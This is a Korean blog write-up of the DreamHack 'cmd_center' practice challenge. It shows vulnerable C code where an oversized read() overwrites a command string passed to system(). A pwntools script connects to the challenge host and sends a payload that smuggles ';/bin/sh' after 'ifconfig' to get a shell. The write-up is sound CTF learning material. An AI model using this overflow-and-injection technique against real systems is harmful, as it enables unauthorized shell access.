Best of Best
[DreamHack] cmd_center
pental
2024. 7. 11. 13:14
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
호호, 이것도 펑펑 취약점이 터지는 문제인데 내가 멍청해서 그런지 조금 해맸다.
일단 center_name을 100이나 입력받을수 있다니, 누가봐도 read에서 펑펑~
더미 값으로 20개 보내고, 4개는 ifconfig 로 4바이트를 채운다.
왜냐면 string_compare을 통해서 ifconfig가 들어가 있어야 통과할 수 있으니, ifconfig도 넣어준다.
payload = b"A" * 0x20 + b"ifconfig ; /bin/sh"
요렇게 ifconfig; /bin/sh를 하면 쉘을 딸 수 있다.
from pwn import *
# p = process("./cmd_center")
p = connect("host3.dreamhack.games", 18336)
p.recvuntil("Center name: ")
payload = b"A" * 0x20 + b"ifconfig ; /bin/sh"
p.sendline(payload)
p.interactive()